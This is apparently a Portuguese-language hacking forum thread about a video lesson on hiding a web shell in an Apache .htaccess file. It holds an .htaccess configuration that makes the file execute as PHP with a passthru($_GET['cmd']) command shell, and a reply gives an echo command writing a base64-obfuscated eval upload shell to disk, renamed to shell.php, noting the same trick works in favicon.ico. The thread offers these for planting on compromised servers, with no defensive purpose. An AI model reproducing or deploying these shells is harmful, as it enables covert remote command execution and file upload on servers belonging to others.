Video Aula Escondendo shell em .htaccess - Nickguitar.dll

[Nickguitar.dll]

[ame]http://www.youtube.com/watch?v=FYpPSB8gclo[/ame]

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
#<?php passthru($_GET['cmd']); ?>

[sn3f4]

Bacana Nick.. já conhecia mas sempre ajuda quem não conheçe, também da para fazer dessa mesma maneira com favicon.ico

Nesse caso a shell tinha wget on, mas quando pegar um servidor sem wget pode se upar por echo (escrever) mesmo.

Os comandos para ajudar o pessoal:

echo "<? eval(base64_decode('ZWNobyAnPGI+PGJyPjxicj48YnI+PG JyPjxicj48YnI+PGNlbnRlcj48Zm9udCBjb2xvcjoiYmx1ZSI+ PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBtb25vc3BhY2U7Ij 48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigyNTUsIDI1NSwgMjU1 KTsiPjxicj48YnI+PGZvbnQgY29sb3I9ImJsYWNrIj4nLnBocF 91bmFtZSgpLic8L2ZvbnQ+PGJyPjwvYj4nOyBlY2hvICc8Zm9y bSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdW x0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9 InVwbG9hZGVyIj4nOyBlY2hvICc8aW5wdXQgdHlwZT0iZmlsZS IgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJf dXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVX Bsb2FkIj48L2Zvcm0+JzsgaWYoICRfUE9TVFsnX3VwbCddID09 ICJVcGxvYWQiICkgeyBpZihAY29weSgkX0ZJTEVTWydmaWxlJ1 1bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSdd KSkgeyBlY2hvICc8Yj5BcnF1aXZvIHVwYWRvICEhITwvYj48Yn I+PGJyPic7IH0gZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWls ICEhITwvYj48YnI+PGJyPjwvZm9udD4nOyB9IH0='));" > shell.txt

Irá criar um arquivo de texto, após isso basta move-lo para .php com comando abaixo:

mv shell.txt shell.php

Após isso basta acessa-la.

[Nickguitar.dll]

Bacana Nick.. já conhecia mas sempre ajuda quem não conheçe, também da para fazer dessa mesma maneira com favicon.ico

Nesse caso a shell tinha wget on, mas quando pegar um servidor sem wget pode se upar por echo (escrever) mesmo.

Os comandos para ajudar o pessoal:



Irá criar um arquivo de texto, após isso basta move-lo para .php com comando abaixo:



Após isso basta acessa-la.

Muito bom, não conhecia essa técnica xD